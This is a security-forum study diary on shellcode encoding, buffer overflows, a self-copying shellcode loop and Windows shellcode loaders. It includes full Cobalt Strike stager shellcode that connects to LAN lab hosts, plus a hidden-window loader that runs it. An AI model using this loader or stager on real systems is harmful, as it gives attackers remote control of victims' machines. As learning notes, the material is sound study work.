安全矩阵

 找回密码
 立即注册
搜索
查看: 9010|回复: 38

温鸿的学习日记

[复制链接]

22

主题

63

帖子

336

积分

中级会员

Rank: 3Rank: 3

积分
336
发表于 2020-2-17 22:15:03 | 显示全部楼层 |阅读模式
2020年2月17日
内容一:
      首先,我们写出弹出的cmd的c语言程序,然后将c语言程序写成汇编程序,再转化为shellcode。
最后我们得到了一个可执行的shellcode,即:shellcode="\x8B\x45\xF4\x6A\x05\x50\xB8\xB0\xDA\x5B\x75\xFF\xD0"
      然后我们将对这段shellcode进行加密,即对shellcode与key进行异或运算。关键的一步为:
   key=0x47
   int length=sizeof(shellcode)/sizeof(shellcode[0]);
  for (int i=0;i<length-1;i++)
  {
  shellcode1=shellcode^key;
  printf("\\x%0.2x",shellcode1);
  printf("\n");
}
我们可以将其输出得到加密之后的shellcode,为shellcode1=" \xcc\x02\xb3\x2d\x42\x17\xff\xf7\x9d\x1c\x32\xb8\x97"
      到这里我们完成了对shellcode的加密,之后我们将写出一段shellcode来对其进行解密,由于上面加密的时候我们用的是key=0x47进行加密的
所以我们解密的时候应该用key=0x47进行异或运算。所以具体的汇编代码为:
       _asm{
                add eax,24
                mov ecx,13
                xor edx,edx
decode:
                mov bl,byte ptr ds:[eax+edx]
                xor bl,0x47
                mov byte ptr ds:[eax+edx],bl
                inc edx
                loop decode
        }
对于以上的汇编代码,我们有两个第一需要注意,第一:add eax,24,这代表的就是解密子的长度,即24,用于定位加密的shellcode的位置。
第二:mov ecx,13,其中13就是shellcode的长度,用于解密时的循环次数。
下面我们将这段汇编代码转换成shellcode,即\x83\xC0\x18\xB9\x0d\x00\x3d\x27\x33\xD2\x3E\x8A\x1C\x10\x80\xF3\x51\x3A\x88\x1C\x10\x42\xE2\xF2,
这时我们的shellcode两部分已经完成,将这两部分拼在一起前半部分为解密部分后半部分为加密后的shellcode,即
shellcode2="\x83\xC0\x18\xB9\x0d\x00\x3d\x27\x33\xD2\x3E\x8A\x1C\x10\x80\xF3\x51\x3A\x88\x1C\x10\x42\xE2\xF2\xcc\x02\xb3\x2d\x42\x17\xff\xf7\x9d\x1c\x32\xb8\x97"
      接下来就是完整的代码:

#include "stdio.h"
#include "windows.h"
#include <string.h>
#include "stdlib.h"
char key=0x47;
shellcode2="\x83\xC0\x18\xB9\x0d\x00\x3d\x27\x33\xD2\x3E\x8A\x1C\x10\x80\xF3\x51\x3A\x88\x1C\x10\x42\xE2\xF2\xcc\x02\xb3\x2d\x42\x17\xff\xf7\x9d\x1c\x32\xb8\x97"

int main(int argc, char* argv[])
{
      
    HINSTANCE libHandle;
        char *dll="kernel32.dll";
    libHandle=LoadLibrary(dll);
        char *str="cmd.exe";
        __asm{
                lea eax,shellcode2
                push eax

                ret         
        }
      

        return 0;
}




内容二:
如果我们用strcpy等函数对shellcode进行处理时,当shellcode中有00时会发生00截断,shellcode就不能完整的执行。
于是,我们可以通过对00的处理来避免这个问题。我们有一段shellcode="\x8B\x45\xF4\x6A\x05\x00\x50\xB8\xB0\xDA\x00\x5B\x75\xFF\xD0"
这里面有两个x00,如果使用strcpy函数处理这个shellcode,我们会发现,最后会变成shellcode="\x8B\x45\xF4\x6A\x05\"。
我们的思路如下:
1、先将shellcode中的x00进行替换,换成x49。
2、将替换后的shellcode进行加密,即与x51进行异或运算。
3、strcpy函数处理后,我们对shellcode进行解密处理,不过要分两种情况,如果原来的shellcode不是00,那么我们就用x51进行解密,如果
是00,则用x49进行异或运算,因为:
异或运算符"^",他的规则是若参加运算的两个二进制同号,则结果为0,异号结果为1。任何数异或自己等于把自己置为0
具体如下:
首先将00替换
char        shellcode[]="\x8B\x45\x00\x6A\x05\x00\xB8\xB0\xDA\x5B\x75\xFF\xD0";
char key=0x51;
unsigned char decodeShellCode[200];

int main(int argc, char* argv[])
{
  int length=sizeof(shellcode)/sizeof(shellcode[0]);
  for (int i=0;i<length-1;i++)
  {
  if(shellcode==0x00)
  {
  shellcode=0x49;
  }
然后将替换之后的shellcode进行加密,与key进行异或运算

  shellcode1=shellcode^key;
然后进行解密,汇编与上面例子相同,不过我们多了一个判断,判断shellcode是否为x49,如果是的话则与自身进行异或运算
_asm{
                add eax,24
                mov ecx,13
                xor edx,edx
decode:
                mov bl,byte ptr ds:[eax+edx]

                cmp bl,0x49
                mov [eax+ecx],bl
                jmp S2
          S1:      xor bl,0x51
                    mov byte ptr ds:[eax+edx],bl
            S2:   inc edx

                   cmp  bl,0x51
                   loop decode
        }

最后得到的shellcode与未加密的shellcode一致







回复

使用道具 举报

22

主题

63

帖子

336

积分

中级会员

Rank: 3Rank: 3

积分
336
 楼主| 发表于 2020-2-18 21:53:01 | 显示全部楼层
2020年2月18日
      今天主要看了《加密与解密》的第四章的一部分。阅读之后发现原先关于汇编中函数调用的一些问题得到了解决,包括平衡堆栈,
清理传递参数的栈等。
       下面将介绍汇编中调用函数的方法。
        函数入口参数按照从右到左的顺序入栈,并由被调用的函数在返回前清理传送参数的内存栈。由于函数体本身知道传入的参数的个数,
被调用的函数可以在返回前用一条retn指令来清理传递参数的栈。函数对参数的存取及局部变量定义都是通过栈来定义的,编译器用一个
专门的寄存器ebp对参数来进行寻址。
        调用者将函数执行完毕时应将返回的地址、参数压入栈中。函数使用ebp指针+偏移量对栈中的参数进行寻址
并取出。下面分析一个汇编中调用函数的例子。调用一个test(a,b)函数

           push b//首先从右往左压入参数
           push a
           call test//调用函数
{
           push  ebp//保护原来的ebp指针
           mov ebp,esp//设置新的ebp指针,使其指向栈顶
           mov eax,dword ptr[ebp+0C]//调用参数b
           mov ebx,dword ptr[ebp+08]//调用函数a
           sub esp,8//若函数中有局部变量则需空出一些空间来,有多少个局部变量就空出4k个空间
            .......
            .......
            add esp,8//释放局部变量占用的栈
            pop ebp//恢复现场ebp的指针
            ret 8//平衡堆栈,传入几个参数则ret后面的值等于参数的个数乘4

}
其中,这里解决了以前没有解决的问题
1、如果函数中有局部变量那该怎么办?
使用sub指令给局部变量空出一些位置来,当函数调用完之后记得释放局部变量占用的栈
2、不明白为什么使用了ebp寄存器之后还要再使用esp寄存器。
因为esp在函数运行时会不断变化,所以保存一个一进入某个函数的esp到ebp中会方便程序员
访问参数和局部变量,而且还方便调用分析函数调用过程中的堆栈情况。
3.不明白怎么平衡堆栈
使用ret指令来平衡堆栈,传入几个参数则ret后面的值等于参数的个数乘4


发现,调用约定有三种,我们刚才那种为stdcall调用约定,三者的区别如下:



以上是对汇编中函数调用知识点的一些回顾,好像并没有什么新的知识点


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

22

主题

63

帖子

336

积分

中级会员

Rank: 3Rank: 3

积分
336
 楼主| 发表于 2020-2-20 01:04:46 | 显示全部楼层
2020年2月19日
内容一:做互联网加的ppt
内容二:学习了两种提取shellcode的方法
第一种就是在kali中将汇编转换为机器码
使用msf-nasm_shell命令,输入汇编指令就可以得到机器码
第二种就是通过汇编来提取shellcode,看第二个视频的时候前半部分看懂了老师在讲什么,但是后半部分的时候
看了很多遍都不知道在干什么,刚刚看了郝恬的代码注释有一些明白了,明天继续研究第二种方法。

回复

使用道具 举报

22

主题

63

帖子

336

积分

中级会员

Rank: 3Rank: 3

积分
336
 楼主| 发表于 2020-2-21 00:35:47 | 显示全部楼层
2020年2月20日
内容一:缓冲区溢出的原理
了解缓冲区溢出首先我们得了解栈的工作原理。栈是一种先进后出的线性表,在程序中,栈保存了函数需要的
重要信息,并在函数执行结束时释放。程序可以借助栈将参数传给函数。栈也可以存放局部变量、函数返回地址。
栈赋予程序一个方便的空间来访问函数的局部数据,并传递函数执行后的返回信息。
栈的基本结构如图:

返回地址中存放着需要执行的代码的一些地址。
接下来我们就可以了解缓冲区是如何溢出的,以及溢出有哪些危害。
一般情况下我们对字符串是不会有长度限制的,不管字符串的长度是否大于缓冲区所能容纳的长度。但是
我们在使用危险函数strcpy时,我们所拷贝的字符串长度 大于缓冲区所能容纳的大小,那么超出的部分将会
发生溢出,覆盖其他数据。

如图,危险函数对数据进行拷贝的时候,超出了缓冲区所能容纳的范围,那么溢出将覆盖其他的栈帧数据,根据覆盖的内容不同
会出现一下几种情况。
1、覆盖其他局部变量,这种情况将会改变函数原本的执行流程。
2、覆盖了ebp的值。原本栈指针已经恢复,但是这样的话,将导致栈帧失去平衡。
3、覆盖了返回地址。这种情况是最值得研究的情况,我们覆盖了原来的返回地址,那么就会有新的地址上去,这时就
可能会执行另外不知道的程序。这也是最容易被攻击者利用的一种情况,通过这种溢出将使程序执行一些攻击提权指令,
如果这个程序能获得的权限很高有可能能将这台主机给打摊。比如下面这种情况:

覆盖了新的地址之后,这个地址指向的是shellcode,那么这个shellcode将被执行。攻击者通过计算返回地址内存区域相对缓冲区的
的相对位置,那么我们构造新的地址之后便能执行攻击者想要执行的代码。这段代码称为shellcode。
但是我们会发现确定操作系统每次加载可执行文件到进程空间的位置都是无法预测的,因此栈的实际位置不固定。因此需要准确的定位
shellcode的位置需要借助一些额外的操作,比如:借助跳板的栈溢出方式。
我们知道函数执行之后esp会恢复到压入参数时的状态,即data参数的地址。如果我们在函数的返回地址填入一个地址,该地址
保存jmp esp指令,那么函数返回后,会执行该指令并转esp所在的位置即data的位置,那么我们只要将data也给覆盖并加入我们
想要执行的shellcode,那么不管程序被加载到哪个位置最终都会执行这个shellcode。




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

22

主题

63

帖子

336

积分

中级会员

Rank: 3Rank: 3

积分
336
 楼主| 发表于 2020-2-22 04:57:47 | 显示全部楼层
本帖最后由 caiH 于 2020-2-22 05:03 编辑

2月21日
简单的缓冲区溢出实验及分析

先分析一段C语言代码
#include<stdio.h>
#include<string.h>
main(int argc,const char * argv[])
{
char passsword[8] = "secret", input[8];
    while (1) {
        printf("Enter your password:");
        gets(input);
        if (strcmp(input, passsword) == 0) {
            printf("Welcome!\n");
            break;
        }else {
            printf(" Wrong.\n");
        }
    }
    return 0;}

表面看这个代码很简单,就是验证输入的密码是否为password,如果输入正确则Welcome,如果不正确则输出“Sorry,your password is wrong.”
但是我们应该注意到,这里有一个危险函数strcmp函数,我们应该思考是否存在缓冲区溢出漏洞。
由于这里调用了一个gets函数,我们知道在使用了gets函数处理字符串后,字符串会加上00.
我们输入的字符串是intput[8],所以我们在栈中给这个字符串预留的位置是8个字节,那么我们自然会想到如果我们输入的字符串超过了8个字符会怎么样
根据我们画的栈来看

[td]
输入的字符数量破坏的状态
0~7
9~23未被使用的栈空间
24~31返回地址
32+caller中保存的状态
这一点和我们昨天学习的一样,利用这样的溢出进行攻击,运行shellcode
但是,由于我们这个程序是来检验密码是否正确的代码,所以我们可以看看是否有什么方法可以在不输入正确
密码的情况下来使程序成功输出密码正确的语句。
我们分析未输入是内存的分布:
[td]
76543210

\0
t
e
r
c
e
s
[td]
76543210
然后我们输入一个错误的字符串且长度超过8   12345678ab,发现密码不正确
我们分析内存分布可得在输入字符串后内存分布如下:

[td]
76543210

\0
t
e
r
\0
b
a
[td]
76543210
8
7
6
5
4
3
2
1
由于经过gets函数的处理ab后面出现00,且由于输入的字符串长度超过8造成溢出,溢出的部分覆盖原来secret
的一些内存,那么我们就可以直观的发现,在输错之后的情况下由于溢出现在的密码变成了ab00ret,由于字符串的00
截断,那么现在的密码相当于ab,于是我们再一次输入ab发现密码成功。
于是这次溢出便成功利用。
这次实验有一个很巧妙的地方,就是当我们第一次输错之后程序并不会停止运行,会让我们继续输入,正是由于这个原因,所以
在第一次输入错误之后,其覆盖的地址保留,可以再我们第二次输入的时候进行利用。这给我们的一个思考就是,在我们向一块
内存写入数据的时候,我们应该考虑这块内存是否能写入,内存溢出之后是否会影响别的内存。同时在做开发时应该尽可能的避免
使用危险函数,可以使用strncpy等安全函数。



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

22

主题

63

帖子

336

积分

中级会员

Rank: 3Rank: 3

积分
336
 楼主| 发表于 2020-2-24 01:46:48 | 显示全部楼层
2020年2月23日
shellcode内存定位方法以及内存蠕虫的实现:
内容一:

首先我们来看一下指令:
call   XXXXX;
  XXXX;
pop eax;
这是一个定位shellcode内存的方法,我们先了解call指令在汇编中是怎么运行的,
首先将call后面的指令压入堆栈当中然后转移到调用的子程序中,当子程序执行完成之后将执行一条ret指令,
将返回地址弹到栈的顶部。并将其载入指针寄存器中,从而跳转到call后面的位置。
但是当我们在其后面添加pop指令时,情况将发生改变。首先我们将了解一下什么是pop指令,
“即将堆栈字单元段中的字节弹出”。那么我们添加pop指令后,这会将call后面的地址放入到指定的寄存器中,但是call后面的地址
正好是shellcode的地址,所以通过这种方法我们就成功的执行了shellcode,同时也获得了shellcode的地址。
我们应将这种方法与
lea eax,shellcode
push eax
这个方法区分开来,这种方法只是简单的执行了shellcode,但是不能获取shellcode的地址。
内容二:
下面就将利用这个指令来实现内存蠕虫(以下代码是邓国健大佬写的,我将以我的理解去分析他写的代码)
首先就是一个很正常的嵌入式代码:
#include "stdio.h"
int main()
{
        printf("begin\n");
        char *str="a=%d\n";
       
        __asm{
                mov eax,5
                push eax
                push str
                call printf
                add esp,8
        }
                return 0;
}
输出了 begin    a=5

下面将输出的内容复制一遍的代码:
#include "stdio.h"
int main()
{
        printf("begin\n");
        char *str="a=%d\n";
       
        __asm{
                mov eax,5
                push eax
                push str
                mov eax,0x00401070  
                call eax
                add esp,8
                ret
        }
                return 0;
}
这个时候我们发现,由于使用了call eax,调用了printf函数使得输出了两遍。那么因为这使得输出的内容复制了一遍,我们思考是否可以将这个写成shellcode,
然后我们不停地复制并执行这个shellcode,那么这样就会使得代码不断复制,内存不断的被占用,实现内存蠕虫。

那么,我们将以上的汇编内容写成shellcode,shellcode[]="\xB8\x05\x00\x00\x00\x50\xFF\x75\xFC\xB8\x70\x10\x40\x00\xFF\xD0\x83\xC4\x08\xc3";
下面我们要做的就是实现不断复制这个shellcode,一下为邓国健大佬的代码:
#include "stdio.h"

char shellcode[]="\xB8\x05\x00\x00\x00\x50\xFF\x75\xFC\xB8\x70\x10\x40\x00\xFF\xD0\x83\xC4\x08\xc3";
int main()
{
        printf("begin\n");
        char *str="a=%d\n";


        __asm{

                lea eax,shellcode
                push eax
                call eax
                pop eax
                xor edx,edx

insect:mov bl,byte ptr ds:[eax+edx]
           mov byte ptr ds:[eax+edx+20],bl
           mov byte ptr ds:[eax+edx],0x90
           inc edx
           cmp edx,20
           je ee
           jmp insect

ee:                add eax,20
                push eax
                call eax
                pop eax
                xor edx,edx
                jmp insect



        }


        return 0;
}
首先执行了shellcode里面的内容,然后根据我们一开始将的call  XXXX    pop XXXX我们可以知道shellcode的位置,
shellcode的长度是20,假设数据的地址是s,那么我们就要将shellcode复制到s+20处,即mov byte ptr ds:[eax+edx+20],bl
我们将原来的数据变成0x90表示这里已经复制过了mov byte ptr ds:[eax+edx],0x90
inc edx   cmp edx,20表示我们复制了20次也就是将shellcode成功的复制一次,由于我们完成了一次复制,shellcode相当于向下移动了20位
所以,我们要eax+20,并将edx归零方便下一次复制。
然后就是进入下一个复制周期,先执行shellcode然后再继续复制。


在这里只实现了让shellcode不断的复制并执行,这个的前提是我们有连续的空间来存放复制的Shellcode如果我们的空间不是连续的,这就要跳
原来的空间然后再进行复制,这个操作起来就很困难了。


回复

使用道具 举报

22

主题

63

帖子

336

积分

中级会员

Rank: 3Rank: 3

积分
336
 楼主| 发表于 2020-2-24 23:55:02 | 显示全部楼层
2月24日
在cobaltstrike生成shellcode并执行shellcode的四种方法
首先我们在cobaltstrike中生成一个c文件的shellcode

然后我们打开这个c文件,发现里面是一个shellcode

于是我们想到的就是按照老师今天教的四种方法来执行这个shellcode.
方法一:
void Run1()
{
        ((void(*)(void))&shellcode)();
}
方法二:
void Run2()
{
        __asm{
                lea eax,shellcode
                jmp eax
        }
}
方法三:
oid Run3()
{

        __asm{
                mov eax,offset shellcode
                jmp eax
        }
}

方法四:
void Run4()
{

        __asm{
                mov eax,offset shellcode
                _emit 0xff;        //用emigt就是在当前位置直接插入数据(实际上是指令),硬编码执行
                _emit 0xe0;
        }

}
下面来执行这些方法:

#pragma comment(linker,"/section:.data,RWE")        //data段可读写


#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")        //不显示窗口


#pragma comment(linker,"/INCREMENTAL:NO")        //指定非增量编译
#include "windows.h"
unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b"
"\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10"
"\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b"
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf"
"\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24"
"\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e"
"\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57"
"\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9"
"\x51\x51\x6a\x03\x51\x51\x68\xde\x00\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff"
"\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68"
"\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56"
"\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6"
"\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e"
"\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf"
"\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00"
"\x00\xe8\x8b\xff\xff\xff\x2f\x6d\x33\x51\x6b\x00\x55\xb1\x59\xfb\xda\x19\x4e"
"\xc0\xed\x2a\x95\xb1\x89\x69\x04\xba\x41\x65\x90\xc3\x9e\x1c\xd8\x34\xbd\x42"
"\xad\x10\xf4\x8a\x64\x40\xd4\x5b\x7e\x5e\x80\x3f\xbd\xd0\x30\x01\x58\xab\xd1"
"\x34\xbe\x44\x86\x8a\x11\x08\x41\x82\x40\xbe\xd8\x4d\xf5\x52\xfc\xb6\xbb\x4f"
"\xa6\xc3\xa6\xe8\x49\xca\xb1\x50\xc3\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e"
"\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d"
"\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20"
"\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x54\x72\x69"
"\x64\x65\x6e\x74\x2f\x35\x2e\x30\x29\x0d\x0a\x00\x4a\xa5\xdc\x8d\xa1\x9a\xbf"
"\xc4\x32\xc1\x53\xb7\x49\xd3\x08\x7b\x8f\x0c\xc2\xf8\x35\x8c\xfd\x32\x6a\x49"
"\x52\x2c\xa8\x80\x28\xeb\x40\xca\xd1\x2a\x06\x1c\x97\xc4\xe8\x95\x60\xec\x26"
"\xce\xb6\xe8\xb6\xe7\x6b\x31\xf3\x8f\xe6\xd7\xf8\x76\xc9\xc0\x2f\x57\x7d\x9a"
"\x3c\x8a\x6a\x87\x8e\xab\xa4\x48\x20\xfa\x4c\x5b\x37\xbd\xbf\x63\x3d\x8f\x91"
"\xcf\x5e\xcc\x3d\x07\x21\x3d\x90\x3f\x88\x34\x81\x1f\xa1\x12\x7a\x6c\xe1\xc5"
"\x48\x92\xcc\x7c\x3d\xbb\x52\xa7\xde\xa0\xf4\x58\xaf\xfc\xf0\x70\xfe\xfc\x7a"
"\xee\x52\xd9\x26\x67\x73\x66\xb6\x5c\x49\xb8\x71\x9a\xdc\x28\x75\x39\xae\x1a"
"\x5d\x21\x7d\x7d\xd5\x4c\xde\xe9\x5c\x7c\x92\x1d\x7f\x47\xc4\x02\x03\x3f\xf3"
"\x4d\x62\x5b\xf6\x57\xae\x83\xa4\x7d\x88\x23\x08\x1a\xe6\xce\x88\x0b\xb3\x01"
"\x91\x09\x10\x00\x22\x19\x5b\x43\xe4\x25\xa3\xaa\x81\xc6\x61\x4e\x9c\x0a\x02"
"\x38\x18\xf0\x39\x3c\x10\x6c\x9e\x69\xa7\x1f\xfb\xa9\xbb\x42\x27\xa0\xe0\x00"
"\xdc\x81\x2f\x2b\x7c\xf9\xf9\x37\x2a\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40"
"\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93"
"\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56"
"\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5"
"\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x34\x33\x2e\x32"
"\x34\x34\x00\x6f\xaa\x51\xc3";




//第一种方法
void Run1()
{
        ((void(*)(void))&shellcode)();
}


//第2种方法
void Run2()
{
        __asm{
                lea eax,shellcode
                jmp eax
        }
}


//第3种方法


void Run3()
{


        __asm{
                mov eax,offset shellcode
                jmp eax
        }
}


//第四种方法
void Run4()
{


        __asm{
                mov eax,offset shellcode
                _emit 0xff;        //用emigt就是在当前位置直接插入数据(实际上是指令),硬编码执行
                _emit 0xe0;
        }


}


void main()
{




       
        Run2();
}
我们将这个c方法win7下面运行,看看在cobaltstrike上能不能看到有主机上线。
但是,我们运行的时候发现了这个程序运行不了老是出现这样的错误:

于是我想着会不会是shellcode的问题,于是将shellcode换成最简单的弹出cmd的shellcode,发现仍然出现这个问题。
在win10下面的运行的时候出现的却是另一问题:

所以应该是前面三句话的问题。
今天没有成功,明天继续琢磨。


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

22

主题

63

帖子

336

积分

中级会员

Rank: 3Rank: 3

积分
336
 楼主| 发表于 2020-2-27 00:30:53 | 显示全部楼层
2月26日
内容一:对上次的代码进行矫正
在cs中导出一段shellcode,然后执行,上次没执行成功,这次成功执行,代码如下:
#include "stdafx.h"
#include"stdio.h"
#include"windows.h"
unsigned char shellcode[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d"
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff"
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44"
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57"
"\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x17\x00\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52"
"\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84"
"\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0"
"\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x58\x49\x6a\x51\x00\xc9\xb5\x88\xc3\xc3\x9d\x16"
"\x39\xb9\x47\xc3\xe2\x74\xa7\x2b\x65\xd5\xe3\x68\x93\xca\xb7\xb8\xcc\xf5\x45\xa8\x75\xc9\x34\x8a\xe3\xa6\x55\xec\x40\x45\xfb\x04\x69\xe3\xf8\x13\x77\x19\x87\xf4\xfa\x41"
"\x6c\x90\xb1\xed\x10\xbc\xa4\x79\x34\xda\x75\x93\xed\x0c\xc1\x95\xd7\xa7\xf2\x62\x16\x79\xf3\x05\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c"
"\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36"
"\x2e\x31\x3b\x20\x57\x69\x6e\x36\x34\x3b\x20\x78\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x29\x0d\x0a\x00\xa8\xcb\x3a\xbe\xaf\x23\x5e\x24\x0d\xa3\xdd"
"\x49\xd8\x9f\x89\xa6\x68\x32\x3a\xc0\xc7\x75\x80\x10\x70\xf4\xbf\x90\x7a\xc3\xcd\x47\x7d\xd5\x1d\xd4\xfc\x61\x49\x68\x0c\xcb\x90\xc9\xbe\xa4\xf1\x1a\x96\xd1\x63\xec\x40"
"\xd5\x54\x85\x5b\x49\x7c\x9a\xad\x9d\x75\x26\x3c\x6a\xaf\x4c\x57\x33\x8b\xbb\xd3\x4a\x2f\x2e\x8a\x1e\x53\x59\xda\x85\xe9\x88\xa9\xcf\x15\x54\xa5\xc4\xb4\x1a\xf2\xbe\x1b"
"\xa9\xe6\x69\x66\xdf\xe3\x03\xfd\xd9\x1f\x30\x34\x37\x24\x42\x1a\x41\x10\x80\xdf\x9b\x74\x8a\xd7\x88\x52\x29\x93\x08\x99\x63\x5b\x5a\x19\x1c\xe6\xdb\x00\x82\x11\xed\x8d"
"\x7c\x17\xbb\x8b\x42\x63\x1b\x0d\xca\xde\x2c\x95\x80\x11\x3b\x07\x05\x36\x1f\xc4\x0e\x25\x5f\xad\x5f\xe7\x7f\xf2\x59\x97\xa4\x8b\xd7\x12\x54\x23\xef\x5f\xee\x93\x01\x19"
"\x46\x71\x49\x21\x82\xcd\xda\x75\x54\x6c\x2f\x9b\xd9\x90\xb9\x12\xef\x9e\x5e\x23\x4f\xf6\x80\x87\x6c\x0a\x36\xc2\x38\x98\x81\x1f\xc0\xde\x00\x68\xf0\xb5\xa2\x56\xff\xd5"
"\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12"
"\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x30\x2e\x31\x30\x32\x00\x6f\xaa\x51\xc3";

void Run1()
{
        ((void(*)(void))&shellcode)();
}

void Run2()
{
        _asm{
                lea eax,shellcode
                jmp eax
        }
}

void Run3()
{
        __asm{
                mov eax,offset shellcode
                jmp eax
        }
}
void Run4()
{
        _asm
        {
                mov eax,offset shellcode
                _emit 0xff
                _emit 0xe0
        }
}

int main(int argc, char* argv[])
{
        Run4();
        return 0;
}

上次的代码应该是shellcode进行换行的时候漏了一个字节,这次可以成功上线。
内容二:
汇编中一些变量和数组的处理:
1.局部变量:
利用栈存放局部变量,函数执行完之后会释放这些栈
为局部变量分配空间sub esp, 8,用[ebp-xxxx]寻址调用这些变量
平衡栈   add esp,8
例外,有的编译器会使用push reg 指令来取代sub esp,8,这样可以节省几个字节的空间。除了栈占用2个寄存器,
